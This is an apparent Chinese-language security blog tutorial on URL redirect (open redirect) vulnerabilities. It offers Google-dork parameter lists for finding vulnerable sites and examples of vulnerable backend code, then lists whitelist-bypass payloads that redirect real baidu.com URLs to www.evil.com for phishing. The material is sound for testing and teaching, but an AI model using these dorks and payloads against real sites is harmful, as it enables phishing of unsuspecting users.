URL 跳转漏洞

URL 跳转漏洞

0x00.参考文章

0x01.概念

这类漏洞属于低危漏洞,但是如果有操作或许可以打组合拳

此类漏洞会出现在造成网页跳转的页面

  • 登录、注册、修改密码
  • 支付成功跳回原页
  • 用户分享、收藏内容过后
  • 跨站点认证、授权后
  • 站内点击其它网址链接时
  • 等等一切可跳转的页面…

利用方式是,给受害者一个有跳转漏洞的安全链接,然后一点击就会跳到我们指定的页面,可以作为钓鱼使用

1
http://127.0.0.1/url.php?username=&password=&redict=http://127.0.0.1/fish.php

我们可以使用谷歌语法去 fuzz 要查的网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
site:baidu.com inurl:以下fuzz参数

redirect=
url=
redirectUrl=
callback=
return_url=
toUrl=
ReturnUrl=
fromUrl=
redUrl=
request=
redirect_to=
redirect_url=
jump=
jump_to=
target=
to=
goto=
link=
linkto=
domain=
oauth_callback=
login=
qurl=
logout=
data=
ext=
clickurl=
next=
callback_url=
jump_url=
return=
click?u=
originUrl=
Redirect=
sp_url=
service=
rit_url=
forward_url=
forward=
success=
recurl=
j?url=
uri=
u=
allinurl=
q=
src=
tc?src=
linkAddress=
location=
go=
pic=
burl=
backurl=
RedirectUrl=
origin=
Url=
desturl=
page=
u1=
action=
action_url=
dest=

0x02.常见后端代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Java:
response.sendRedirect(request.getParameter("url"));

PHP:
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

.NET:
string redirect_url = request.QueryString["url"];
Response.Redirect(redirect_url);

Django:
redirect_url = request.GET.get("url")
HttpResponseRedirect(redirect_url)

Flask:
redirect_url = request.form['url']
redirect(redirect_url)

Rails:
redirect_to params[:url]

0x03.利用

一般的网站 redict 参数后面是有一个人家网站正规的跳转后链接的
所以我们要做的就是在那个链接附近加一些恶意参数,让其跳到我们要的网站

  • 有的时候 redirct=后面的内容是加密的,给自己的 payload 也加密 bypass 即可

1.直接跳转

1
2
www.baidu.com/url.php?username=&password=&redict=www.evil.com
直接在跳转参数后面写自己的网站就好了

2.协议一致性

1
2
www.baidu.com/redirect.php?url=https://www.evil.com/untrust.html
原网站和即将要跳转的网站有必须协议一致的审查机制

3.域名是否包含白名单要求的字符串

代码

1
2
3
4
5
6
7
8
<?php
$redirect_url = $_GET['url'];
if(strstr($redirect_url,"127.0.0.1") !== false){
header("Location: " . $redirect_url);
}
else{
die("Forbidden");
}

有的检测域名结尾是不是当前域名(Django 实现)

1
2
3
4
5
redirect_url = request.GET.get("url")
if redirect_url.endswith('landgrey.me'):
HttpResponseRedirect(redirect_url)
else:
HttpResponseRedirect("https://www.landgrey.me")

我们可以通过直接输入恶意域名后,衔接正常域名

1
www.baidu.com/redirect.php?url=http://www.evil.com/www.baidu.com

或者直接购买或谷歌语法 inurl 搜索一个包含 baidu 的域名

1
www.baidu.com/redirect.php?url=http://hahabaidu.com

可以利用公共白名单的可信站

例如 google.com 是可信站,而谷歌下有个缓存功能

1
google.com/linkurl=www.evil.com

那么我们可以在有跳转漏洞的 url 后加上有我们恶意页面缓存的可信站 url来进行绕过

1
www.baidu.com/redirect.php?url=google.com/linkurl=www.evil.com

如果要求只能是本站域,那么可以本站其他有跳转漏洞的 url 来套娃

1
www.baidu.com/redirect.php?url=www.baidu.com/redirect.php?url=http://hahabaidu.com

4.加特殊字符绕过

脱离不了这几个字符:

1
2
3
4
5
6
7
8
9
;
/
\
?
:
@
=
&
.

例子是:

1
www.baidu.com/url.php?username=1&redict=http://www.evil.com@tieba.baidu.com

5.一些奇异的基于不同框架的绕过法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 很多斜杠、反斜杠、点奇异绕过
www.baidu.com/url.php?username=1&redict=////www.evil.com/..
www.baidu.com/url.php?username=1&redict=\\\\www.evil.com/..

# xip.io服务绕过,127.0.0.1是我们的恶意服务器ip
www.baidu.com/url.php?username=1&redict=http://tieba.baidu.com.127.0.0.1.xip.io

xip.io相当于建立了个[[DNS]]规则,会将前面的域名定向到后面的ip地址处

# 缺少协议的绕过
www.baidu.com/redirect.php?url=//www.evil.com

# 利用奇怪的的点来绕过
www.baidu.com/redirect.php?url=.evil.com

6.其他绕过方法

  • 跳转到 IP 地址,而不是域名

  • 跳转到 IPV6 地址,而不是 IPv4 地址

  • 将要跳转到的 IP 地址用 10 进制、8 进制、16 进制形式表示

  • 更换协议,使用 ftp、gopher 协议等

  • 借鉴[[SSRF]]漏洞绕过的 tricks

  • CRLF 注入不能 xss 时,转向利用任意 URL 跳转漏洞

Author

Resek4

Posted on

2020-09-09

Updated on

2023-01-27

Licensed under

Comments